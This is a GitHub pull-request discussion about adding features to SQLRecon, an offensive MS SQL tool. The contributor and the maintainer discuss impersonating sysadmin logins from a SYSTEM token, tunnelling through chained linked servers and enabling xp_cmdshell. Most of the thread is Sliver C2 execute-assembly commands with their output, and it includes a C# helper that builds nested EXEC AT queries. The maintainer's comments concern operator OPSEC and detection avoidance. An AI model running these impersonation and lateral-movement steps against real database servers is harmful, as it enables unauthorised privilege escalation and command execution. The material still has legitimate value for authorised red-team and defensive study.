Enhancing impersonation, adding tunnelling capabilities and some refactoring

Hi @skahwah 👋
I find the work you've done on this tool pretty consistent and since I found a few features missing, instead of awarding it minus points in my mind I decided to put in the work. I hope you appreciate the gesture and accept this Pull Request (PR), I had quite an evening!
I want you to know that these modifications have enabled me to overcome certain challenges. Without them, the tool wouldn't have been able to do it.
Context
You land into a machine as NT AUTHORITY\SYSTEM and you want to connect to the MS MSQL with your current windows token.
Although you have no knowledge of webapp01's credentials, you want to impersonate it. Logins that are members of the sysadmin role are mapped to dbo by default for all databases. This means they operate with full administrative permissions within every database, just as if they were the actual owners.
Here, the sqlservr.exe service is ran by NT AUTHORITY\SYSTEM, you are basically dbo, you can impersonate anyone! Once migrated to this process, you are normally able to do whatever you want.
N.B. Of course, if NT AUTHORITY\SYSTEM is not the database owner or explicitly mapped to the dbo user, it won't have dbo privileges.
Before
Currently, SQLRecon fails in this task because it doesn't take into account the fact that you are sysadmin.

Enumeration of impersonable users:

sliver (NEUTRAL_WRAP) > execute-assembly /home/kali/backpack/winaries/csharp/SQLRecon-v3.3.exe /a:WinToken /h:SQL01 /m:impersonate

[*] Output:
[*] Enumerating accounts that can be impersonated on SQL01
[*] No logins can be impersonated.

Impersonate someone

sliver (NEUTRAL_WRAP) > execute-assembly /home/kali/backpack/winaries/csharp/SQLRecon-v3.3.exe /a:WinToken /h:SQL01 /i:webapp01 /m:iwhoami

[*] Output:
[*] Determining user permissions on SQL01 as 'webapp01'
[*] Logged in as [X] ERROR: The webapp01 login can not be impersonated.
[*] Mapped to the user [X] ERROR: The webapp01 login can not be impersonated.
[*] [+] Roles:
 |-> User is NOT a member of sysadmin role.
 |-> User is NOT a member of setupadmin role.
 |-> User is NOT a member of serveradmin role.
 |-> User is NOT a member of securityadmin role.
 |-> User is NOT a member of processadmin role.
 |-> User is NOT a member of diskadmin role.
 |-> User is NOT a member of dbcreator role.
 |-> User is NOT a member of bulkadmin role.

This is just a sketch of the possibilities that are currently closed to me.
After
After a lot of sweat and time trying to understand the initial code, I managed to get what I wanted. The integration of impersonification whenever the /i argument is present.

Enumeration of impersonable users:

sliver (NEUTRAL_WRAP) > execute-assembly /home/kali/backpack/winaries/csharp/SQLRecon.exe /a:WinToken /h:SQL01 /m:impersonate

[*] Output:
[+] Logged in as NT AUTHORITY\SYSTEM
[+] Mapped to the user dbo
[*] Enumerating accounts that can be impersonated on SQL01
[*] Current user is a sysadmin and can impersonate any account.
name |
-------
sa |
SQL01\Administrator |
NT SERVICE\SQLWriter |
NT SERVICE\Winmgmt |
NT Service\MSSQL$SQLEXPRESS |
NT AUTHORITY\SYSTEM |
NT SERVICE\SQLTELEMETRY$SQLEXPRESS |
webapp01 |

Impersonate someone

sliver (NEUTRAL_WRAP) > execute-assembly /home/kali/backpack/winaries/csharp/SQLRecon.exe /a:WinToken /h:SQL01 /i:webapp01 /m:whoami

[*] Output:
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
[+] Mapped to the username 'dbo'
[*] Trying to impersonate 'webapp01'
[+] Impersonated server user 'webapp01'
[+] Mapped to the username 'dbo'
[*] Determining user permissions on SQL11
[*] Roles:
 |-> User is a member of public role.
 |-> User is NOT a member of db_owner role.
 |-> User is NOT a member of db_accessadmin role.
 |-> User is NOT a member of db_securityadmin role.
 |-> User is NOT a member of db_ddladmin role.
 |-> User is NOT a member of db_backupoperator role.
 |-> User is NOT a member of db_datareader role.
 |-> User is NOT a member of db_datawriter role.
 |-> User is NOT a member of db_denydatareader role.
 |-> User is NOT a member of db_denydatawriter role.
 |-> User is a member of sysadmin role.
 |-> User is a member of setupadmin role.
 |-> User is a member of serveradmin role.
 |-> User is a member of securityadmin role.
 |-> User is a member of processadmin role.
 |-> User is a member of diskadmin role.
 |-> User is a member of dbcreator role.
 |-> User is a member of bulkadmin role.

Impersonate someone and go to linked server

sliver (NEUTRAL_WRAP) > execute-assembly /home/kali/backpack/winaries/csharp/SQLRecon.exe /a:WinToken /h:SQL01 /i:webapp01 /l:SQL02 /m:llinks

[*] Output:
[+] Logged in as system user 'NT AUTHORITY\SYSTEM'
[+] Mapped to the username 'dbo'
[*] Trying to impersonate 'webapp01'
[+] Impersonated server user 'webapp01'
[+] Mapped to the username 'dbo'
[*] Additional SQL links on SQL02 via SQL01
name | product | provider | data_source |
------------------------------------------
SQL03 | SQL Server | SQLNCLI | SQL03 |

Additional Updates
Modifying the MS SQL Linked Servers Output
From:
sliver (NEUTRAL_WRAP) > execute-assembly /home/kali/backpack/winaries/csharp/SQLRecon.exe /a:WinToken /h:SQL01 /m:links
[*] Output:
[*] Additional SQL links on SQL01
name | product | provider | data_source |
------------------------------------------
SQL02 | SQL Server | SQLNCLI | SQL02 |
SQL03 | SQL Server | SQLNCLI | SQL03 |

To:
sliver (NEUTRAL_WRAP) > execute-assembly /home/kali/backpack/winaries/csharp/SQLRecon.exe /a:WinToken /h:SQL01 /m:links

[*] Output:
[*] Logged in as system user 'NT AUTHORITY\SYSTEM'
[*] Mapped to the username 'dbo'
[*] Additional SQL links and login mappings on SQL01
Linked Server | product | provider | data_source | Local Login | Is Self Mapping | Remote Login |
--------------------------------------------------------------------------------------------------
SQL02 | SQL Server | SQLNCLI | SQL02 | webapp01 | False | webappGroup |
SQL03 | SQL Server | SQLNCLI | SQL03 | webapp01 | False | testAccount |

Same thing applied for llinks command.
Tunneling Through Chained SQL Links
In order to close my own issue, I build a way to deal with chained SQL Links.
sliver (LITTLE_COMMERCE) > execute-assembly /home/kali/backpack/winaries/csharp/SQLRecon.exe /a:WinToken /h:SQL01 /i:webapp01 /t:SQL02,SQL03 /m:twhoami

[*] Output:
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
[+] Mapped to the username 'dbo'
[*] Trying to impersonate 'webapp01'
[+] Impersonated server user 'webapp01'
[+] Mapped to the username 'dbo'
[+] Logged in as server user 'webapps'
[+] Mapped to the username 'guest'
[*] Determining user permissions from tunnel 0 -> SQL02 -> SQL03
[*] Roles:
 |-> User is a member of public role.
 |-> User is NOT a member of db_owner role.
 |-> User is NOT a member of db_accessadmin role.
 |-> User is NOT a member of db_securityadmin role.
 |-> User is NOT a member of db_ddladmin role.
 |-> User is NOT a member of db_backupoperator role.
 |-> User is NOT a member of db_datareader role.
 |-> User is NOT a member of db_datawriter role.
 |-> User is NOT a member of db_denydatareader role.
 |-> User is NOT a member of db_denydatawriter role.
 |-> User is NOT a member of sysadmin role.
 |-> User is NOT a member of setupadmin role.
 |-> User is NOT a member of serveradmin role.
 |-> User is NOT a member of securityadmin role.
 |-> User is NOT a member of processadmin role.
 |-> User is NOT a member of diskadmin role.
 |-> User is NOT a member of dbcreator role.
 |-> User is NOT a member of bulkadmin role.

sliver (LITTLE_COMMERCE) > execute-assembly /home/kali/backpack/winaries/csharp/SQLRecon.exe /a:WinToken /h:SQL01 /i:webapp01 /t:SQL02,SQL03 /m:timpersonate

[*] Output:
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
[+] Mapped to the username 'dbo'
[*] Trying to impersonate 'webapp01'
[+] Impersonated server user 'webapp01'
[+] Mapped to the username 'dbo'
[*] Tunneled through 0 -> SQL02 -> SQL03 and emerging with the user 'webapps'
testAccount can potentially be impersonated on the linked server.

sliver (LITTLE_COMMERCE) > execute-assembly /home/kali/backpack/winaries/csharp/SQLRecon.exe /a:WinToken /h:SQL01 /i:webapp01 /t:SQL02,SQL03 /m:tquery /c:\"SELECT * from sys.server_principals;\"

[*] Output:
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
[+] Mapped to the username 'dbo'
[*] Trying to impersonate 'webapp01'
[+] Impersonated server user 'webapp01'
[+] Mapped to the username 'dbo'
[*] Executing 'SELECT * from sys.server_principals;' from tunnel 0 -> SQL02 -> SQL03
name | principal_id | sid | type | type_desc | is_disabled | create_date | modify_date | default_database_name | default_language_name | credential_id | owning_principal_id | is_fixed_role |
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
sa | 1 | System.Byte[] | S | SQL_LOGIN | False | 4/8/2003 9:10:35 AM | 7/6/2020 3:16:14 AM | master | us_english |  |  | False |
public | 2 | System.Byte[] | R | SERVER_ROLE | False | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |  |  |  | 1 | False |
sysadmin | 3 | System.Byte[] | R | SERVER_ROLE | False | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |  |  |  | 1 | True |
securityadmin | 4 | System.Byte[] | R | SERVER_ROLE | False | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |  |  |  | 1 | True |
serveradmin | 5 | System.Byte[] | R | SERVER_ROLE | False | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |  |  |  | 1 | True |
setupadmin | 6 | System.Byte[] | R | SERVER_ROLE | False | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |  |  |  | 1 | True |
processadmin | 7 | System.Byte[] | R | SERVER_ROLE | False | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |  |  |  | 1 | True |
diskadmin | 8 | System.Byte[] | R | SERVER_ROLE | False | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |  |  |  | 1 | True |
dbcreator | 9 | System.Byte[] | R | SERVER_ROLE | False | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |  |  |  | 1 | True |
bulkadmin | 10 | System.Byte[] | R | SERVER_ROLE | False | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |  |  |  | 1 | True |
testAccount | 266 | System.Byte[] | S | SQL_LOGIN | False | 7/6/2020 3:16:59 AM | 7/6/2020 3:16:59 AM | master | us_english |  |  | False |
webapps | 267 | System.Byte[] | S | SQL_LOGIN | False | 7/6/2020 4:09:52 AM | 7/7/2020 1:05:41 PM | master | us_english |  |  | False |

In fact, now that this feature is built, a huge refactor could be done in order to remove the /l option because to access the first linked server, it's just:
sliver (LITTLE_COMMERCE) > execute-assembly /home/kali/backpack/winaries/csharp/SQLRecon.exe /a:WinToken /h:SQL01 /i:webapp01 /t:SQL02 /m:timpersonate

[*] Output:
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
[+] Mapped to the username 'dbo'
[*] Trying to impersonate 'webapp01'
[+] Impersonated server user 'webapp01'
[+] Mapped to the username 'dbo'
[*] Tunneled through 0 -> SQL02 and emerging with the user 'webappGroup'
[*] The user can impersonate any account on the linked server.
name |
-------
sa |
SQL02\Administrator |
NT SERVICE\SQLWriter |
NT SERVICE\Winmgmt |
NT Service\MSSQL$SQLEXPRESS |
NT AUTHORITY\SYSTEM |
NT SERVICE\SQLTELEMETRY$SQLEXPRESS |
webappGroup |

I've only done the timpersonate and tusers modules while waiting for you to come back. Because I'm really in favor of deleting /l and integrating /t only.
Some refactoring will be necessary, but I'm happy to do it!
What's next?
I'm pretty sure we could delete all modules that start with i, since impersonification can be initiated before the execution of any module as long as the /i argument is supplied! In fact, I am totally sure for commands such as ilinks, iwhoami and so on. But for other things such as OLE and SSCM, not at all.
I am keen on receiving your opinion about that.
In case you accept this PR, I'll let you update everything version etc. I'm not quite comfortable with it yet!

Future Enhancement
At the end of the chain of SQL servers, I land with an user that is not sysadmin. Thus I need to impersonate it at the end of the tunnel.
sliver (LITTLE_COMMERCE) > execute-assembly /home/kali/backpack/winaries/csharp/SQLRecon.exe /a:WinToken /h:SQL01 /i:webapp01 /t:SQL02,SQL03 /m:timpersonate

[*] Output:
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
[+] Mapped to the username 'dbo'
[*] Trying to impersonate 'webapp01'
[+] Impersonated server user 'webapp01'
[+] Mapped to the username 'dbo'
[+] Tunneled through 0 -> SQL02 -> SQL03 and emerging with the user 'webapps'
testAccount can potentially be impersonated on the linked server.

With the current implementation, it's clearly doable:
sliver (LITTLE_COMMERCE) > execute-assembly /home/kali/backpack/winaries/csharp/SQLRecon.exe /a:WinToken /h:SQL01 /i:webapp01 /t:SQL02,SQL03 /m:tquery /c:\"EXECUTE AS LOGIN = \'testAccount\';SELECT IS_SRVROLEMEMBER(\'sysadmin\');\"

[*] Output:
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
[+] Mapped to the username 'dbo'
[*] Trying to impersonate 'webapp01'
[+] Impersonated server user 'webapp01'
[+] Mapped to the username 'dbo'
[*] Executing 'EXECUTE AS LOGIN = 'testAccount';SELECT IS_SRVROLEMEMBER('sysadmin');' from tunnel 0 -> SQL02 -> SQL03
column0 |
----------
1 |

I will add a real module for this purpose at the end of the Pull Request process, as another one. If you accept-it.

Keep in mind that I'm eager to pursue the work and add updates, once this one is accepted tho' 👀

Understood, and thanks for the reminder. As mentioned, I’ll need some time to review. Thanks.

I have just added the IP Address of each computers for the /e:sqlspns:
sliver (PLASTIC_SECURITY) > execute-assembly /home/kali/backpack/winaries/csharp/SQLRecon.exe /e:sqlspns

[*] Output:
[*] Looking for MSSQL SPNs ...
[*] 2 found.

 |-> ComputerName:  sql01.test.com
 |-> IP Address:    <IP_ADDRESS>
 |-> Instance:      sql01.test.com:1433
 |-> AccountSid:    S-1-5-21-500681758-3045653280-464737313-1104
 |-> AccountName:   sqlsvc
 |-> AccountCn:     SQLSvc
 |-> Service:       MSSQLSvc
 |-> SPN:           MSSQLSvc/sql01.test.com:1433
 |-> LastLogon:     4/22/0424 4:12:12 PM

 |-> ComputerName:  sql02.test.com
 |-> IP Address:    <IP_ADDRESS>
 |-> Instance:      sql02.test.com:1433
 |-> AccountSid:    S-1-5-21-500681758-3045653280-464737313-1104
 |-> AccountName:   sqlsvc
 |-> AccountCn:     SQLSvc
 |-> Service:       MSSQLSvc
 |-> SPN:           MSSQLSvc/sql02.test.com:1433
 |-> LastLogon:     4/22/0424 4:12:12 PM

Using the /a:wintoken and specifying the host for every command was cumbersome, especially since the target SQL server is often the current machine. This update simplifies the command usage and refactors the ExecuteCustomQuery method to produce Markdown-friendly output, making it easier to copy and paste the results into Markdown editors.
Before this commit, the complete command line had to be specified:
SQLRecon.exe /a:wintoken /h:SQL01 /m:links

The command is now simplified, automatically assuming wintoken authentication and the current machine as the host if nothing provided, allowing you to run:
sliver (ENORMOUS_FISHBONE) > execute-assembly /home/kali/backpack/d/SQLRecon.exe /m:links

[*] Output:
[+] SQL connection created using wintoken on SQL01:1433 for master.
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
[+] Mapped to the username 'dbo'
[*] Additional SQL links and login mappings on SQL01
| Linked Server | product    | provider | data_source | Local Login | Is Self Mapping | Remote Login |
| ------------- | ---------- | -------- | ----------- | ----------- | --------------- | ------------ |
| SQL02         | SQL Server | SQLNCLI  | SQL02       | webapp11    | False           | webappGroup  |
| SQL03         | SQL Server | SQLNCLI  | SQL03       | webapp11    | False           | testAccount  |

The output has been enhanced to produce Markdown-formatted tables, making it convenient to copy and paste directly into Markdown editors. Here is an example of the new output:

Linked Server
product
provider
data_source
Local Login
Is Self Mapping
Remote Login

SQL02
SQL Server
SQLNCLI
SQL02
webapp11
False
webappGroup

SQL03
SQL Server
SQLNCLI
SQL03
webapp11
False
testAccount

@n3rada notification to let you know that I've started to review each commit

@n3rada okay, sounds good, thank you for spending time on this project. I am still in the process of evaluating all of the work that you have put in.
There are several new modules that I am working on, so maybe I'll hold off integrating them in until I see what sort of refactoring efforts you are working through. These additions include:

Determine the viability of including a debug flag, for example /debug, which doesn't actually execute the query, but prints out the SQL statement that is going to be executed.
Check to see if logging and other SQL Server related security modules are enabled on a target system.
Determine the viability of allowing commands to be executed against multiple SQL servers using comma separated values, for example /h:SQL01,SQL02,SQL03.
Support for NTLM hash based authentication.

I've spent some time looking at your proposed changes, and on the surface, I agree with most of them. The changes I have already looked at and agree with are:

Correcting the SYSTEM token impersonation logic on a local host (very nice)
Increasing verbosity on linked server output
Inclusion of IP addresses in the sqlspns module
Order by modify date on users
Adding database and connection information

Some of the larger changes you have made, which I need to spend a little more time reviewing, but also agree with, are:

Tunneling through chained links (very nicely done)
Removing all modules starting with i and l and building intelligence to correctly handle the arguments supplied in the /i: and /l:. For example, if I want to enumerate who I am on a linked server, instead of running SQLRecon.exe /a:WinToken /h:SQL01 /l:SQL02 /m:lwhoami, I would run SQLRecon.exe /a:WinToken /h:SQL01 /l:SQL02 /m:whoami.
Markdown output, and overall output changes

At the moment, there is one change that I do not agree with. This is the assumption you make where the target SQL server is the current machine and that the operators desired authentication is the current token. This is a potentially dangerous assumption to make, especially when considering operational security and detection avoidance. If an operator accidentally does not specify a target host, or authentication type, but does specify a module, the last thing I would want is SQLRecon to perform an automated action against the database on the current system. Specifying the authentication method, and the target system serves a purpose to allow the operator to be intentional about their actions. There are other factors to consider, such as C2 CLI log integration into upstream platforms, like RedELK, which can provide accountability behind operators actions, and provide metrics to internal/external stakeholders, etc. I will most likely not integrate this change.

So, @skahwah, here I am! First of all, I want you to know that I really appreciate the depth of consideration you give to each element. It gives me the strength to spend (too) many more hours on the project.
I've refactored all the commands to drastically reduce code size and method flexibility. The tunneling now offered allows you to chain an infinite number (the word is strong, surely much less) of servers. What's more, the tool is capable of knowing when you want to chain or not, impersonate or not, and adapts its basic modules thanks to the global variables you introduced! This will make your code easier to use and maintain in the future.
I've finally abandoned the /t to keep the original /l now that I've refactored everything, to disturb users and documentations as little as possible.
Below is an example of how to activate xp_cmdshell on a linked server:
sliver (FAITHFUL_JACKET) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL02 /m:enablexp

[*] Output:
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 0a84a9b3-6c31-4a13-8fe7-3a30de0699c6
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL02
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
 |-> Mapped to the username 'dbo'
[+] Impersonated server user 'webapp01'
 |-> Mapped to the username 'dbo'
[*] Enabling xp_cmdshell on SQL01 via linked servers 0 -> SQL02
[+] Enabled xp_cmdshell on SQL02.
| name        | value |
| ----------- | ----- |
| xp_cmdshell | 1     |

With multiple hops:
sliver (FAITHFUL_JACKET) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL02,SQL03 /m:users

[*] Output:
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 95cbe633-37a7-4181-9122-0b332b9a5e1b
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL02 -> SQL03
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
 |-> Mapped to the username 'dbo'
[+] Impersonated server user 'webapp01'
 |-> Mapped to the username 'dbo'
[*] Users in the master database from tunnel 0 -> SQL02 -> SQL03:
 |-> Database Principals:
| username | create_date         | modify_date         | type     | authentication_type |
| -------- | ------------------- | ------------------- | -------- | ------------------- |
| guest    | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | NONE                |
| dbo      | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | INSTANCE            |

 |-> Server Principals:
| name          | type_desc   | is_disabled | create_date           | modify_date           |
| ------------- | ----------- | ----------- | --------------------- | --------------------- |
| webapps       | SQL_LOGIN   | False       | 7/6/2020 4:09:52 AM   | 7/7/2020 1:05:41 PM   |
| testAccount   | SQL_LOGIN   | False       | 7/6/2020 3:16:59 AM   | 7/6/2020 3:16:59 AM   |
| sa            | SQL_LOGIN   | False       | 4/8/2003 9:10:35 AM   | 7/6/2020 3:16:14 AM   |
| public        | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| sysadmin      | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| securityadmin | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| serveradmin   | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| setupadmin    | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| processadmin  | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| diskadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| dbcreator     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| bulkadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |

Oh and I integrated your demand about the /debug flag:
execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL02,SQL03 /m:users /debug

[*] Output:
[i] Debug mode enabled
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 7918feac-be2a-4280-a7b6-7c44c1ddfdf9
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL02 -> SQL03
[i] Executing following SQL query: SELECT SYSTEM_USER;
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
[i] Executing following SQL query: SELECT USER_NAME();
 |-> Mapped to the username 'dbo'
[i] Executing following SQL query: EXECUTE AS LOGIN = 'webapp01';
[i] Executing following SQL query: SELECT SYSTEM_USER;
[+] Impersonated server user 'webapp01'
[i] Executing following SQL query: SELECT USER_NAME();
 |-> Mapped to the username 'dbo'
[i] Executing following SQL query: select * from openquery("SQL02", 'select * from openquery("SQL03", ''SELECT name AS username, create_date, modify_date, type_desc AS type, authentication_type_desc AS authentication_type FROM sys.database_principals WHERE type NOT IN (''''A'''', ''''R'''', ''''X'''') AND sid IS NOT null AND name NOT LIKE ''''##%'''' ORDER BY modify_date DESC;'')')
[i] Executing following SQL query: select * from openquery("SQL02", 'select * from openquery("SQL03", ''SELECT name, type_desc, is_disabled, create_date, modify_date FROM sys.server_principals WHERE name NOT LIKE ''''##%'''' ORDER BY modify_date DESC;'')')
[*] Users in the master database from tunnel 0 -> SQL02 -> SQL03:
 |-> Database Principals:
| username | create_date         | modify_date         | type     | authentication_type |
| -------- | ------------------- | ------------------- | -------- | ------------------- |
| guest    | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | NONE                |
| dbo      | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | INSTANCE            |

 |-> Server Principals:
| name          | type_desc   | is_disabled | create_date           | modify_date           |
| ------------- | ----------- | ----------- | --------------------- | --------------------- |
| webapps       | SQL_LOGIN   | False       | 7/6/2020 4:09:52 AM   | 7/7/2020 1:05:41 PM   |
| testAccount   | SQL_LOGIN   | False       | 7/6/2020 3:16:59 AM   | 7/6/2020 3:16:59 AM   |
| sa            | SQL_LOGIN   | False       | 4/8/2003 9:10:35 AM   | 7/6/2020 3:16:14 AM   |
| public        | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| sysadmin      | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| securityadmin | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| serveradmin   | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| setupadmin    | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| processadmin  | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| diskadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| dbcreator     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| bulkadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |

You were right. It's much better for debugging complex queries. By the way, tunneling with OPENQUERY is great, but I've added a tunnel generation AT keyword to run stored procedures on linked SQL servers. It's a bit like what you've already done, but with the ability to handle chaining. Here is the method:
/// <summary>
/// The method dynamically builds the nested SQL command based on the number of servers listed in the serverChain.
/// It constructs the query by iterating over the server list from the end towards the beginning (after skipping the "0" index).
/// Each server in the chain adds another layer of EXEC ('...') AT [ServerName] around the existing query.
/// </summary>
/// <param name="path"></param>
/// <param name="sql"></param>
/// <returns></returns>
public static string GetSQLServerRpcConfigQuery(string[] path, string sql)
{
    string currentQuery = sql;

    // Start from the end of the array and skip the first element ("0")
    for (int i = path.Length - 1; i > 0; i--)
    {
        string server = path[i];
        // Double single quotes to escape them in the SQL string
        currentQuery = $"EXEC ('{currentQuery.Replace("'", "''")}') AT {server}";
    }

    return currentQuery;
}

Regarding the use of the /h and /a commands, I understand your concerns about operational security (OPSEC) and the risks of unintended actions or fails if these parameters are not explicitly specified. My suggestion comes from a place of practical operational efficiency, especially in scenarios where SQLRecon is deployed through an implant or within environments like a Cobalt Strike beacon. Here, the context of execution is usually well-controlled, and the operator is often aware that the target system and authentication context are predetermined by the nature of the implant's placement.
In such cases, repeatedly specifying the target and authentication can become redundant and prone to human error, which in itself can be a security risk. Automating these aspects where the environment has already been securely established can reduce the cognitive load on operators and minimize the chances of command errors. It also streamlines the process, allowing operators to focus more on the strategic aspects of their tasks rather than on repetitive command formulation.
N.B: AgentJobs.cs and ADSI.cs have not been adapted and can only work for a single jump. Unfortunately, I haven't had time to work on them due to lack of personal time and because I don't have a suitable test environment.

So, @skahwah, here I am! First of all, I want you to know that I really appreciate the depth of consideration you give to each element. It gives me the strength to spend (too) many more hours on the project. I really hope you will appreciate all of that. That's it for me, this PR is normally complete. 💼
I've refactored all the commands to drastically reduce code size and method flexibility. The tunneling now offered allows you to chain an infinite number (the word is strong, surely much less) of servers. What's more, the tool is capable of knowing when you want to chain or not, impersonate or not, and adapts its basic modules thanks to the global variables you introduced! This will make your code easier to use and maintain in the future.
I've finally abandoned the /t notation in order to keep the original /l now that I've refactored everything, to disturb users and documentations as little as possible.
Below is an example of how to activate xp_cmdshell on a linked server:
sliver (FAITHFUL_JACKET) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL02 /m:enablexp

[*] Output:
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 0a84a9b3-6c31-4a13-8fe7-3a30de0699c6
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL02
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
 |-> Mapped to the username 'dbo'
[+] Impersonated server user 'webapp01'
 |-> Mapped to the username 'dbo'
[*] Enabling xp_cmdshell on SQL02 (via linked servers 0 -> SQL02)
[+] Enabled xp_cmdshell on SQL02.
| name        | value |
| ----------- | ----- |
| xp_cmdshell | 1     |

With multiple hops:
sliver (FAITHFUL_JACKET) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL02,SQL03 /m:users

[*] Output:
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 95cbe633-37a7-4181-9122-0b332b9a5e1b
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL02 -> SQL03
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
 |-> Mapped to the username 'dbo'
[+] Impersonated server user 'webapp01'
 |-> Mapped to the username 'dbo'
[+] Retrieved users on SQL03 (via linked servers 0 -> SQL02 -> SQL03):
 |-> Database Principals:
| username | create_date         | modify_date         | type     | authentication_type |
| -------- | ------------------- | ------------------- | -------- | ------------------- |
| guest    | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | NONE                |
| dbo      | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | INSTANCE            |

 |-> Server Principals:
| name          | type_desc   | is_disabled | create_date           | modify_date           |
| ------------- | ----------- | ----------- | --------------------- | --------------------- |
| webapps       | SQL_LOGIN   | False       | 7/6/2020 4:09:52 AM   | 7/7/2020 1:05:41 PM   |
| testAccount   | SQL_LOGIN   | False       | 7/6/2020 3:16:59 AM   | 7/6/2020 3:16:59 AM   |
| sa            | SQL_LOGIN   | False       | 4/8/2003 9:10:35 AM   | 7/6/2020 3:16:14 AM   |
| public        | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| sysadmin      | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| securityadmin | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| serveradmin   | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
